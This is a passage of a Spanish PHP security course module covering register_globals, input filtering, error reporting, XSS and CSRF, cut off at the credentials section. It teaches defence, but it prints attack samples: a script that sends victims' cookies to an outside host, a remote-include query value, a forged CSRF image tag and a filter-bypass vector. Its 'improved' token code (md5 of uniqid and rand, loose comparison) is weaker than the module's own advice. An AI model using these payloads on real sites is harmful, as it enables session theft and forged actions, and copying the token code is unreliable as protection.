0% encontró este documento útil (0 votos)
26 vistas51 páginas

07 Seguridad PHP

El documento aborda la seguridad en PHP, destacando la importancia del filtrado de datos y la implementación de medidas de seguridad para prevenir vulnerabilidades comunes. Se discuten prácticas recomendadas como deshabilitar 'register_globals', el uso de un enfoque de lista blanca para la validación de datos y la gestión segura de sesiones. Además, se presentan métodos para asegurar la entrada y salida de datos en aplicaciones web desarrolladas en PHP.

Cargado por

Tiago Nascimento
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
26 vistas51 páginas

07 Seguridad PHP

El documento aborda la seguridad en PHP, destacando la importancia del filtrado de datos y la implementación de medidas de seguridad para prevenir vulnerabilidades comunes. Se discuten prácticas recomendadas como deshabilitar 'register_globals', el uso de un enfoque de lista blanca para la validación de datos y la gestión segura de sesiones. Además, se presentan métodos para asegurar la entrada y salida de datos en aplicaciones web desarrolladas en PHP.

Cargado por

Tiago Nascimento
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd

Seguridad PHP

© Ediciones Roble, S.L.


Indice
Seguridad PHP 3
I. Introducción 3
II. Objetivos 3
III. Consideraciones previas 3
IV. Register globals 4
V. Filtrado de datos 6
5.1. Con empleo de un “Dispatcher” 6
5.2. Método “include” 8
5.3. Ejemplos de filtrado 10
5.4. Convenciones de nomenclatura 11
5.5. Sincronización 12
VI. Error reporting 12
VII. Proceso de formularios 13
7.1. Falso envío de formularios 13
7.2. Solicitudes HTTP falseadas 14
7.3. Cross Site Scripting (XSS) 15
7.4. Cross-Site Request Forgery 18
VIII. Credenciales y bases de datos 26
8.1. Exposición de credenciales de acceso 26
8.2. SQL Injection 28
IX. Sesiones 31
9.1. Establecimiento de la sesión 31
9.2. Secuestro de sesiones 34
X. Alojamientos compartidos 37
XI. Funciones “maliciosas” de PHP 38
11.1. Funciones que aceptan devoluciones de llamada 40
11.2. Funciones de sistemas de ficheros 43
XII. Resumen 47
XIII. Referencias 48
Ejercicios 49
Ejercicio propuesto 49
Recursos 50
Bibliografía 50
Glosario. 51

2/51
Seguridad PHP

Seguridad PHP

I. Introducción
Mediante el presente módulo, aplicaremos los conocimientos de OWASP en su proyecto Top Ten para
uno de los lenguajes de desarrollo web más empleados debido a su carácter libre, como es PHP.

Comprobaremos las vulnerabilidades que presenta cuando el código de la aplicación no ha sido


securizado correctamente y aplicaremos las principales medidas de seguridad a emplear con las
funciones del propio lenguaje PHP para poder desarrollar aplicaciones web seguras.

II. Objetivos

Comprender la importancia de los filtros en las funciones de entrada y salida.


Establecer una relación entre OWASP Top Ten y el lenguaje de desarrollo PHP.
Establecer medidas de seguridad para vulnerabilidades comunes en código PHP.
Conocer cómo almacena PHP las sesiones en alojamientos compartidos.
Deshabilitar e investigar funciones “maliciosas” de PHP.
Desarrollar aplicaciones web de forma segura en PHP.

III. Consideraciones previas


Analizar cualquier uso no previsto e ilegítimo de la aplicación

El diseño seguro es solo una parte de la solución global desarrollada. Durante todo el ciclo de
desarrollo, cuando se está escribiendo el código, es importante tener en cuenta cualquier uso ilegítimo
de la aplicación. Muchas veces, la atención principal se centra en hacer que la aplicación funcione
como se pretende y, si bien esto es necesario, entregar una aplicación que funcione correctamente no
hace nada para ayudar a que la aplicación sea segura.

Concienciarse y formarse en seguridad

El hecho de que usted se encuentre cursando este módulo formativo, es una evidencia de que se
preocupa por la seguridad y, aunque parezca trivial, este es el paso más importante. Existen
numerosos recursos disponibles en la web, blogs, libros impresos e incluso recursos que se encuentran
en la biblioteca del Consorcio de Seguridad PHP en [Link]

3/51
Seguridad PHP

Filtrar todos los datos externos

El filtrar cualquier tipo de datos es la piedra angular de la seguridad de aplicaciones web en


cualquier idioma y en cualquier plataforma. Simplemente con inicializar las variables y filtrar todos
los datos que provienen de fuentes externas se pueden abordar la mayoría de las vulnerabilidades de
seguridad con muy poco esfuerzo.

Un enfoque de lista blanca es mucho mejor que un enfoque de lista negra. Esto significa que usted
debe tener en cuenta todos los datos no válidos a menos que pueda demostrarse válido (en lugar de
considerar todos los datos válidos a menos que pueda demostrarse no válido). Piense siempre en
establecer una política de denegar a permitir como consejo general.

IV. Register globals


La directiva register_globals se encuentra desactivada por defecto en las versiones de PHP 4.2.0 y
superiores.

Riesgo de seguridad

Si bien no representa una vulnerabilidad de seguridad, emplearla siempre supone un riesgo de


seguridad. Por lo tanto, siempre se debe intentar desarrollar y desplegar las aplicaciones con
register_globals desactivado.

¿Por qué es un riesgo de seguridad? De forma general, ya que cada aplicación es única y concebida
de una forma particular, se expresa un ejemplo común obtenido del propio manual de PHP:

<?php

if (authenticated_user()) {

$authorized = true; }

if ($authorized) {

include '/datos/privados/sensibles/[Link]'; }

?>

Si alguien tuviera acceso al código fuente, enseguida comprobaría que con register_globals
habilitado, se podría solicitar la página con el parámetro ?authorized=1 en la cadena de consulta para
eludir el control de acceso previsto.

4/51
Seguridad PHP

Por supuesto, esta vulnerabilidad en particular es debido a un mal diseño de la aplicación por los
desarrolladores, no en especial de la directiva register_globals, pero esto indica que existe un aumento
innecesario del riesgo que plantea el uso de la propia directiva. Sin su uso, las variables globales
comunes (como $authorized en el ejemplo) no se ven afectados por los datos presentados por el
cliente.

Una buena práctica

Una buena práctica es para inicializar todas las variables y desarrollar con la directiva
error_reporting establecido en E_ALL, por lo que no se debe pasar por alto el uso de una variable no
inicializada durante el desarrollo.

Otro ejemplo que ilustra cómo register_globals puede ser problemático es el siguiente uso de
incluir con una ruta dinámica:

<?php include "$path/[Link]"; ?>

¿Cuántas veces hemos observado esto mismo en nuestros códigos? Con register_globals activada,
esta página se puede solicitar con path=http%3A%2F%[Link]%2F%3F en la cadena de
consulta con el fin de mostrar este ejemplo real para las siguientes acciones:

<?php include '[Link] ?>

allow_url_fopen

Además, si la directiva allow_url_fopen se encuentra habilitada (por defecto lo está e incluso lo


recomienda el propio [Link]), esto incluirá la salida del [Link] como si se tratara de
un archivo local del propio servidor, pero en realidad, conectará a [Link] y ejecutará
el URI especificado. Esto presenta un importante problema de seguridad y muchas de las aplicaciones
de código abierto que han sido auditadas lo presentan también.

5/51
Seguridad PHP

Variable $path

El inicializar la variable $path puede mitigar este riesgo en particular, pero también lo hace la
desactivación de register_globals. Mientras que el error de un desarrollador puede conducir a una
variable no inicializada, deshabilitar register_globals, que es un cambio de configuración global
afectando a todas las variables, es mucho menos probable que se pase por alto con lo cual
mitigaremos el riesgo existente.

El desarrollador, por motivos de comodidad lo empleará y comentará que es maravilloso, y


aquellos de nosotros que hemos tenido que manejar manualmente los datos del formulario en el
pasado, podremos apreciar esto.

Sin embargo, el uso de los arrays superglobales $_POST y $_GET es todavía muy conveniente, y
no merece la pena plantear un riesgo añadido para habilitar register_globals.

Además de todo esto, deshabilitar la directiva register_globals influirá en los desarrolladores a


tener en cuenta el origen de los datos, y esto es una característica importante de cualquier
desarrollador consciente de la seguridad.

V. Filtrado de datos
Como se ha comentado anteriormente, el filtrado de datos es la piedra angular de la seguridad de las
aplicaciones web, y esto es independiente del lenguaje de programación o plataforma.

Implica desarrollar un mecanismo por el cual se determina la validez de los datos que entran y salen
de la aplicación, y un buen diseño de software puede ayudar a los desarrolladores a:

Asegurarse de que el filtrado de datos no se puede omitir.


Garantizar que los datos no válidos no se pueden confundir con datos válidos.
Identificar siempre el origen de los datos.

Existen numerosos criterios sobre la forma de garantizar que el filtrado de los datos no pueda ser
anulada, pero hay dos enfoques generales que parecen ser los más comunes y ambos ofrecen un nivel
suficiente de garantía.

5.1. Con empleo de un “Dispatcher”


Un método es tener un único script PHP directamente en la web (a través de URL). Todo lo demás es
un módulo incluido con incluir o requerir, según sea necesario.

Este método por lo general requiere que se pase una variable GET o POST junto con cada URL,
identificando la tarea a realizar. Esta variable GET se puede considerar como un reemplazo para el
nombre del script que se utilizaría en un diseño más minimalista y simplificado. Por ejemplo:

6/51
Seguridad PHP

[Link]

El fichero [Link] es el único accesible en la raíz de documentos. Esto permite a los


desarrolladores hacer dos cosas importantes:

Implementar algunas medidas de seguridad globales desde el propio fichero [Link] y


estar seguros de que estas medidas no pueden ser anuladas.
Ver fácilmente que el filtrado de los datos se lleva a cabo cuando sea necesario, al centrarse en
el flujo de control de una tarea específica.

Ejemplo

Para mostrar un ejemplo práctico, considere el siguiente script de ejemplo [Link]:

<?php

/* Global security measures */

switch ($_GET['task']) {

case 'print_form':

include '/inc/presentation/[Link]';

break;

case 'process_form':

$form_valid = false;

include '/inc/logic/[Link]';

if ($form_valid) {

include '/inc/presentation/[Link]';

} else {

include '/inc/presentation/[Link]';

break;

default:

7/51
Seguridad PHP

include '/inc/presentation/[Link]';

break; }

?>

Si este es el único script PHP público, entonces debe quedar claro que el diseño de esta aplicación
se asegura de que las medidas de seguridad globales tomadas en la parte superior no pueden ser
anuladas.

También permite a un desarrollador ver fácilmente el flujo de control para una tarea específica. Por
ejemplo, en lugar de estar buscando a través de una gran cantidad de código, es muy fácil ver que
[Link] solo se muestra a un usuario cuando $form_valid se cumple, y como se inicializa como falso
justo antes, se incluye [Link]

Por supuesto, el desarrollo lógico dentro de [Link] debe establecerlo en true, ya que de lo
contrario el formulario se mostrará de nuevo (presumiblemente con mensajes de error
correspondientes).

Además, si se utiliza un archivo de índice de directorio como [Link] (en lugar de [Link]),
pueden emplear las URL como [Link]

Empleando la directiva de Apache ForceType o mod_rewrite nos permitirá escribir un código


mucho más elegante para las URLs tales como [Link]

5.2. Método “include”


Otro enfoque con el que podemos abordar el anterior planteamiento, es tener un único módulo que es
responsable de todas y cada una de las medidas de seguridad.

Ejemplo

8/51
Seguridad PHP

Este módulo se incluye en la parte superior (o muy cerca de la parte superior) de todos los scripts
PHP que son públicos (disponible a través de URL). Considere el siguiente script [Link]:

<?php

switch ($_POST['form']) {

case 'login':

$allowed = array();

$allowed[] = 'form';

$allowed[] = 'username';

$allowed[] = 'password';

$sent = array_keys($_POST);

if ($allowed == $sent) {

include '/inc/logic/[Link]';

break; }
?>

Formulario HTML

En dicho ejemplo, se espera que cada formulario que se presente, debe ser un formulario que lo
identifica de forma única y, además, el fichero [Link] tiene un caso separado para manejar el
filtrado de datos para esa forma particular. Un ejemplo de un formulario HTML que cumple este
requisito es el siguiente:

<form action="/[Link]" method="POST">

<input type="hidden" name="form" value="login" />

<p>Username: <input type="text" name="username" /></p>

<p>Password: <input type="password" name="password" /></p>

<input type="submit" />

9/51
Seguridad PHP

</form>

El array $allowed se utiliza para identificar exactamente qué variables se permiten de formulario, y
esta lista debe ser idéntica para que el formulario sea procesado. El control de flujo se determina en
otros lugares y es en [Link] donde el filtrado de datos real tiene lugar.

Además, una buena manera de asegurar que [Link] siempre se incluye en la parte superior de
cada script PHP es utilizar la directiva auto_prepend_file.

5.3. Ejemplos de filtrado


Es muy importante, conforme hemos indicado, adoptar un enfoque de lista blanca para realizar el
filtrado de datos y, si bien es imposible dar ejemplos para cada tipo de datos del formulario, algunos
ejemplos que se exponen pueden ayudar a ilustrar el enfoque.

Correo electrónico

A continuación, se valida una dirección de correo electrónico:

<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])) {

$clean['email'] = $_POST['email']; }

?>

Color

El siguiente código filtra y asegura que $_POST[‘color´] solo puede tomar los valores red, green o
blue.

<?php

$clean = array();

switch ($_POST['color']) {

case 'red':

case 'green':

case 'blue':

10/51
Seguridad PHP

$clean['color'] = $_POST['color'];

break; }

?>

Entero

A continuación, nos aseguramos que $_POST[‘num’] solo puede recibir un valor entero:

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num']))) {

$clean['num'] = $_POST['num']; }

?>

Valores reales

O, por ejemplo, que $_POST[‘num’] solo pueda recibir valores reales:

<?php

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num']))) {

$clean['num'] = $_POST['num']; }

?>

5.4. Convenciones de nomenclatura


Cada uno de los ejemplos anteriores hacen uso de un array denominado $clean.

Esto demuestra una buena práctica ya que puede ayudar a los desarrolladores a identificar si los datos
están potencialmente contaminados o no. Jamás se debe hacer una validación de datos dejándolos en
$_POST o $_GET ya que los desarrolladores deben sospechar siempre de los datos dentro de estos
arrays superglobales.

Además, un uso más liberal de $clean puede permitir que usted considere todo lo demás para tener
datos maliciosos y esto se parece más a un enfoque de lista blanca, por lo que ofrece un mayor nivel de
seguridad.

11/51
Seguridad PHP

Si solo se guardan datos en $clean después de haber sido validados, el único riesgo de fracasar para
validar algo, es que usted puede hacer referencia a un elemento de un array que no existe nada más que
con datos potencialmente contaminados.

5.5. Sincronización
Una vez que un script desarrollado en PHP comienza a ser procesado, cualquier solicitud HTTP ha
tenido que ser recibida. Esto significa que el usuario no tiene otra oportunidad de enviar datos, y por lo
tanto no hay datos se puedan inyectar en la secuencia de comandos (incluso cuando register_globals está
habilitado). Esta es la razón por la que la inicialización de las variables es una buena práctica de
desarrollo seguro.

VI. Error reporting


En las versiones de PHP anteriores a PHP 5, lanzado el 13 de julio 2004, el informe de errores es
bastante minimalista y simple.

Además de un desarrollo a conciencia, en los diferentes entornos de desarrollo, preproducción y


producción debemos basarnos en varias directivas de configuración PHP específicas:

Error_reporting

Esta directiva establece el nivel de reporte de errores deseada. Se recomienda establecer E_ALL tanto
para el desarrollo como para la producción.

Display_errors

Esta directiva determina si los errores deben ser mostrados en la pantalla (incluido en la salida). Se
debe desarrollar con este conjunto en On, de modo que usted puede ser alertado y avisado de errores
durante el desarrollo, y usted debe establecer esta en Off para la producción, por lo que los errores se
ocultan a los usuarios y potenciales atacantes.

Log_errors

Esta directiva determina si los errores deben ser escritos en un fichero de registro. Si bien esto puede
plantear problemas de rendimiento, es deseable que los errores queden registrados. Si los errores de
registro presentan un grave problema de carga de E/S (Entrada/Salida), es probable que tenga
preocupaciones más grandes que el rendimiento de la aplicación. Debe establecer esta directiva en On
en la producción.

Error_log

Esta directiva indica la ubicación del fichero de registro para los errores que se almacenan. Asegúrese
de que el servidor web tiene privilegios de escritura para el archivo especificado.

Establecer error_reporting set para E_ALL ayudará a cumplir con la inicialización de todas las
variables, ya que cualquier referencia a una variable no definida genera una alerta.

12/51
Seguridad PHP

Cada una de estas directivas pueden configurarse con ini_set (), en caso de que usted no tenga
acceso al fichero [Link] o cualquier otro método de establecer estas directivas.

Una buena referencia de todas las funciones de manejo y presentación de informes de error se
encuentra en el propio manual de PHP:

[Link]

PHP 5 incluye manejo de excepciones. Es muy importante manejar y tratar las excepciones
cuando se deriva en una causa de error.

Para obtener más información, consulte:

[Link]

VII. Proceso de formularios

7.1. Falso envío de formularios

Formulario de ejemplo

Con el fin de poder ilustrar la necesidad de filtrado de datos, considere el siguiente


formulario de ejemplo [Link]

<form action="/[Link]" method="POST">

<select name="color">

<option value="red">red</option>

<option value="green">green</option>

<option value="blue">blue</option>

</select>

<input type="submit" />

</form>

13/51
Seguridad PHP

Cualquier atacante perfectamente podría escribir un código tal que

<form action="[Link] method="POST">

<input type="text" name="color" />

<input type="submit" />

</form>

Eliminar las restricciones del lado del cliente

Este nuevo formulario, puede ser ubicado en cualquier sitio, ni siquiera es necesario un servidor
web, ya que tan solo es necesario que lo interprete un navegador web. Además, incluso se puede
manipular en tránsito con un proxy tipo “ tamper data ” o desde el mismo origen. La propia URL
utilizada hace que la petición POST sea enviada al mismo lugar.

Esto hace que sea muy fácil de eliminar las restricciones del lado del cliente, si las restricciones de
formulario HTML o scripts del lado del cliente (como JavaScript, por ejemplo) destinados a realizar
algún tipo de filtrado de datos rudimentarios.

En este ejemplo en particular, $_POST ["color"] no es necesariamente de color rojo, verde o azul.
Con un procedimiento muy sencillo, cualquier usuario puede crear un formulario que se puede utilizar
para enviar cualquier tipo de datos a la dirección URL que procesa el formulario.

7.2. Solicitudes HTTP falseadas


Otra forma mucho más poderosa, aunque menos conveniente es falsificar una solicitud HTTP.

En el formulario de ejemplo anterior que acabamos de mostrar, en el que el usuario elige un


color, la petición HTTP resultante tiene el siguiente (suponiendo una selección de rojo) formato:

POST /[Link] HTTP/1.1

Host: [Link]

Content-Type: application/x-www-form-urlencoded

Content-Length: 9

color=red

14/51
Seguridad PHP

Por supuesto, y conforme vimos en el primer módulo, es posible mediante un programa como Telnet o
Netcat poder enviar cualquier otro tipo de dato a nuestra elección.

En resumidas cuentas, si no filtramos en nuestra aplicación los datos de entrada, nos exponemos a que
cualquier persona pueda enviar cualquier dato y tengamos un nivel de exposición elevado. Además,
conforme veremos en el último módulo, cada formulario debe contener un token único que haga que
solo pueda ser procesado si viene desde un origen controlado.

7.3. Cross Site Scripting (XSS)


Conforme hemos visto anteriormente en los módulos de OWASP, el término XSS es muy familiar y
común presentando una de las vulnerabilidades de seguridad más comunes en aplicaciones web, aunque
haya sido bajado a la séptima posición. Muchas aplicaciones populares de PHP de código abierto sufren
de constantes vulnerabilidades XSS.

Los ataques XSS tienen las siguientes características

Explotan la confianza de un usuario tiene un sitio en particular.


Los usuarios no tienen necesariamente un alto nivel de confianza para cualquier sitio web,
pero el navegador sí que lo tiene. Por ejemplo, cuando el navegador envía las cookies en
una petición, está confiando en el sitio web. Los usuarios también pueden tener diferentes
hábitos de navegación o incluso diferentes niveles de seguridad definidos en su navegador
dependiendo del sitio que están visitando.
Generalmente implican sitios web que muestran datos externos.
Los tipos de aplicaciones que presentan un mayor riesgo se seguridad incluyen foros,
clientes de correo web y cualquier cosa que muestre el contenido sindicado (como los
canales RSS).
Inyectan un contenido a elección del atacante.
Cuando los datos externos no se filtran adecuadamente, es posible mostrar el contenido de
la elección del atacante. Esto es tan peligroso como dejar que el atacante edite el código
fuente en el propio servidor.

¿Cómo puede suceder esto? Si muestra el contenido que proviene de cualquier fuente externa sin
filtrar adecuadamente, se es vulnerable a XSS. Los datos externos, no se limitan exclusivamente a los
datos que viene desde el cliente. También significa que pueden encontrarse en un correo electrónico
que aparece en un cliente, un anuncio publicitario, un blog sindicado y similares. Cualquier
información que no se encuentra definida en el código fuente, viene de una fuente externa, y esto
generalmente significa que la mayoría de los datos son datos externos.

Ejemplo

Considere el siguiente ejemplo de un foro de mensajes minimalista:

<form>

<input type="text" name="message"><br />

15/51
Seguridad PHP

<input type="submit">

</form>

<?php if (isset($_GET['message'])) {

$fp = fopen('./[Link]', 'a');

fwrite($fp, "{$_GET['message']}<br />");

fclose($fp);

readfile('./[Link]');

?>

Etiqueta de HTML <br />

Este foro añade la etiqueta de HTML <br /> a lo que el usuario introduce, lo añade en un archivo y
a continuación muestra el contenido actual del archivo.

Imagínese si un usuario entra en el siguiente mensaje:

<script> [Link] = '[Link] +


[Link] </script>

El siguiente usuario que visite este foro con JavaScript activado, va a ser redirigido a
[Link] y las cookies asociadas con el sitio actual se van a incluir junto con la cadena de
consulta de la URL.

Por supuesto, un atacante real no estaría limitado como en el ejemplo anterior o la experiencia de
JavaScript, tal como hemos visto en los módulos anteriores de OWASP. Hay que pensar en mejores o
más "maliciosos" ejemplos.

Mitigar el riesgo de XSS

¿Qué se puede hacer? XSS es realmente muy fácil de detener. Cuando las cosas se ponen difíciles
es cuando se quieren permitir que algunas etiquetas de HTML sean aceptadas. Pero incluso estas
situaciones no son muy difíciles de manejar. Las siguientes prácticas pueden mitigar el riesgo de
XSS:

Filtrar todos los datos externos.

16/51
Seguridad PHP

Como se mencionó anteriormente, el filtrado de datos es la práctica más importante que puede
adoptar. Al validar todos los datos externos a medida que entran y salen en la solicitud, permiten
mitigar la mayoría de los riesgos de sufrir un XSS.

Utilice las funciones existentes.

Emplear PHP con su lógica de filtrado. Funciones como htmlentities (), strip_tags () y utf8_decode
() pueden ser útiles. Trate de evitar la reproducción de algo que una función de PHP ya lo hace. Es
posible la función integrada de PHP no sea mucho más rápida que la suya, pero también estará
mucho más probado y será menos propenso a contener errores que produzcan vulnerabilidades.

Utilice siempre que pueda una lista blanca.

Supongamos que los datos no son válidos hasta que se puedan demostrar como válidos. Esto
implica la verificación de la longitud y también asegurar que solo los caracteres válidos son
permitidos. Por ejemplo, si el usuario está suministrando un apellido, podría empezar por permitir
solo los caracteres alfabéticos y espacios. Es necesario proceder con cautela, ya que de esa forma,
mientras que los nombres de O'Reilly y Berners-Lee se considerarán inválidos, esto se puede
solucionar fácilmente añadiendo dos personajes más a la lista blanca. Es mejor negar que los datos
sean válidos que aceptar datos maliciosos.

Utilice una estricta convención de nombres.

Como se mencionó anteriormente, una convención de nombres puede ayudar a los desarrolladores
a que distingan fácilmente entre datos filtrados y sin filtrar. Es importante para los desarrolladores
hacer las cosas de la forma más fácil y clara que sea posible. La falta de claridad produce
confusión, y esto supone tener vulnerabilidades desde el origen en nuestro código.

Versión más segura del foro

Una versión mucho más segura del foro sería el siguiente código:

<form>

<input type="text" name="message"><br />

<input type="submit"> </form>

17/51
Seguridad PHP

<?php if (isset($_GET['message'])) {

$message = htmlentities($_GET['message']);

$fp = fopen('./[Link]', 'a');

fwrite($fp, "$message<br />");

fclose($fp); }

readfile('./[Link]');

?>

Con la simple adición de htmlentities() el foro es ahora mucho más seguro. No debe considerarse
completamente seguro, pero este es probablemente el paso más fácil que usted puede tomar para
proporcionar un nivel adecuado de protección.

Por supuesto, es muy recomendable que usted siga todas las mejores prácticas que se han discutido.

Ejercicio

Discutir por qué el siguiente código no es seguro y cómo sería seguro:

<a href="<?php echo strip_tags($_GET['url']) ?>">

Vector de ataque:

?url="onm<>ouseover="ale<>rt(0)

7.4. Cross-Site Request Forgery


Cabe destacar el ataque denominado CSRF, aunque haya sido excluido de la lista OWASP para el año
2017, puesto que aún sigue estando presente en las aplicaciones. Mientras que los ataques XSS explotan
la confianza de un usuario que tiene en un sitio web, los ataques CSRF explotan la confianza de un sitio
web que tiene en un usuario.

Los ataques CSRF son más peligrosos, menos populares (lo que significa menos recursos para los
desarrolladores) y algo más difíciles de defender que los ataques XSS.

Los ataques CSRF tienen las siguientes características

Explotan la confianza que un sitio tiene para un usuario en particular.

18/51
Seguridad PHP

Muchos usuarios pueden no confiar, pero es común para las aplicaciones web para ofrecer a
los usuarios ciertos privilegios al iniciar sesión en la aplicación. Los usuarios con estos
elevados privilegios son víctimas potenciales (cómplices sin saberlo, de hecho).
Generalmente implican sitios web que dependen de la identidad de los usuarios. Es típico
que la identidad de un usuario sea una de las cosas más importantes en la aplicación web.
Incluso con mecanismos de gestión de sesiones seguras, los ataques CSRF todavía podrían
tener éxito. De hecho, es en estos tipos de entornos donde los ataques de CSRF son más
potentes.
Realizar solicitudes HTTP a elección del atacante.
Los ataques CSRF involucran al atacante a falsificar una solicitud HTTP de otro usuario (en
esencia, engañar a un usuario para enviar una petición HTTP en nombre del atacante) como
si hubiera sido una petición legítima del usuario víctima.

Debido a que los ataques de CSRF implican la falsificación de peticiones HTTP, es muy
importante tener un nivel básico de familiaridad con HTTP.

Petición HTTP típica

Un navegador web es un cliente HTTP y un servidor web es un servidor HTTP. Los clientes inician
una transacción mediante el envío de una solicitud, y el servidor completa la transacción mediante el
envío de una respuesta. Una petición HTTP típica es la siguiente tal como se veía en el primer módulo
del curso:

GET / HTTP/1.1

Host: [Link]

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

La primera línea se llama “ línea de petición ” y contiene el método de petición (GET), solicitud de
URL (se utiliza una URL relativa “/”), y la versión de HTTP (1.1). Las otras líneas son cabeceras
HTTP, y cada nombre de la cabecera es seguida por dos puntos, un espacio y el valor.

Reconstruir petición HTTP

Usted podría estar familiarizado con el acceso a esta información en PHP. Por ejemplo, el siguiente
código se puede utilizar para reconstruir esta petición HTTP especialmente en una cadena:

<?php

$request = "{$_SERVER['REQUEST_METHOD']} ";

$request .= "{$_SERVER['REQUEST_URI']} ";

$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";

19/51
Seguridad PHP

$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";

$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";

$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

?>

Respuesta típica

Una respuesta típica de la petición anterior sería:

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 57

<html>

<img src="[Link] />

</html>

El contenido de la respuesta es lo que se ve cuando ve el código fuente en un navegador. La


etiqueta img en esta respuesta particular, le indica al navegador que debe de solicitar otro recurso (una
imagen) que es necesario para poder visualizar correctamente la página.

Ejemplo de solicitud

El navegador solicita este recurso como lo haría cualquier otro, y lo que sigue es un ejemplo de una
solicitud de este tipo:

GET /[Link] HTTP/1.1

Host: [Link]

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

El navegador solicita la dirección URL especificada en el atributo src de la etiqueta img como si el
usuario hubiera navegado manualmente allí. El navegador no tiene manera de indicar específicamente
que espera que sea una imagen.

20/51
Seguridad PHP

Consideración

Combine esto con lo que ha aprendido acerca de los formularios y considere una URL similar a la
siguiente:

[Link]

Un envío de un formulario que utiliza un método GET potencialmente puede ser indistinguible de
una solicitud de imagen ya que ambos podrían ser las solicitudes de la misma URL.

Si register_globals está habilitado, el método del formulario ni siquiera es importante (a menos que
el desarrollador siga utilizando $_POST y similares).

Otra característica que hace a CSRF tan poderoso es que las cookies que pertenecen a una URL se
incluyen en la solicitud de la URL. Un usuario que tiene una sesión establecida con
[Link] (se ha validado como usuario) puede potencialmente comprar 1.000 acciones de
SCOX visitando una página con una etiqueta img que especifica la dirección URL en el ejemplo
anterior.

Formulario de ejemplo

Considere el siguiente formulario de ejemplo como [Link]

<p>Buy Stocks Instantly!</p>

<form action="/[Link]">

<p>Symbol: <input type="text" name="symbol" /></p>

<p>Quantity:<input type="text" name="quantity" /></p>

<input type="submit" />

</form>

21/51
Seguridad PHP

Solicitud que se envía

Si el usuario introduce SCOX para el símbolo, 1000 como la cantidad, y envía el formulario, la
solicitud que se envía por el navegador es similar a lo siguiente:

GET /[Link]?symbol=SCOX&quantity=1000 HTTP/1.1

Host: [Link]

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

Cookie

Se ha incluido en la cabecera una cookie para ilustrar la aplicación utilizando una cookie para el
identificador de sesión. Si una etiqueta img hace referencia a la misma URL, la misma cookie será
enviada en la solicitud de dicha URL, y el servidor de procesamiento de la solicitud no será capaz de
distinguir esto de una orden real.

Esto es, si el atacante consiguiera inyectarle el siguiente código a la víctima:

<img src=”[Link]

Veríamos que la petición es exactamente la misma que la que produce el formulario auténtico:

GET /[Link]?symbol=SCOX&quantity=1000 HTTP/1.1

Host: [Link]

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

Proteger sus aplicaciones contra CSRF

Hay algunas cosas que pueden hacerse para proteger sus aplicaciones contra CSRF:

Utilice POST en lugar de emplear el método GET. Especifique POST en el atributo método de
todos los formularios con acciones. Por supuesto, esto no es apropiado para todos los formularios,
pero es adecuado cuando un formulario está realizando una acción, como la compra de acciones o
para actualizar cualquier información.

22/51
Seguridad PHP

Utilice $_POST en lugar de depender de register_globals. Utilizando el método POST para envíos
de formularios es inútil si usted confía en register_globals y forman referencia variables como
símbolo $ y $cantidad. También es inútil si utiliza $_REQUEST.

No se concentre en la conveniencia.

Si bien parece deseable hacer que la experiencia del usuario sea lo más relajada posible y menos
complicada, el exceso de conveniencia puede tener consecuencias graves.

Forzar el uso de sus propios formularios.

El mayor problema con CSRF es tener peticiones que se parecen a los envíos de formularios pero
no lo son. Si un usuario no ha solicitado a la página con el formulario, debe asumir que… ¿La
petición es legítima e intencionada?

Foro aún más seguro

Ahora podemos escribir un foro aún más seguro:

<?php

$token = md5(time());

$fp = fopen('./[Link]', 'a');

fwrite($fp, "$token\n");

fclose($fp);

?>

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

23/51
Seguridad PHP

</form>

<?php

$tokens = file('./[Link]');

if (in_array($_POST['token'], $tokens)) {

if (isset($_POST['message'])) {

$message = htmlentities($_POST['message']);

$fp = fopen('./[Link]', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

readfile('./[Link]');

?>

Este foro de mensajes todavía tiene algunos problemas de seguridad.

Ejercicio

¿Puede encontrar algún problema de seguridad?

Solución

El tiempo es extremadamente predecible. Utilizando el resumen MD5 de una marca de tiempo


es una excusa pobre para un número aleatorio. Las mejores bibliotecas incluyen random_bytes en
PHP.

Más importante aún, es trivial para un atacante para obtener un token válido. Con solo visitar
esta página, se genera un token válido y se incluye en la fuente. Con un token válido, el ataque es
tan simple como antes de añadir el requisito token.

Ejercicio

24/51
Seguridad PHP

Diseñar un código en PHP que aproveche las vulnerabilidades anteriormente descritas.

He aquí un foro de mensajes mejorado:

<?php

session_start();

if (isset($_POST['message'])) {

if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token'])

$message = htmlentities($_POST['message']);

$fp = fopen('./[Link]', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;

?>

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

readfile('./[Link]');

25/51
Seguridad PHP

?>

VIII. Credenciales y bases de datos

8.1. Exposición de credenciales de acceso


La mayoría de las aplicaciones PHP interactúan con una base de datos. Esto implica que, por regla
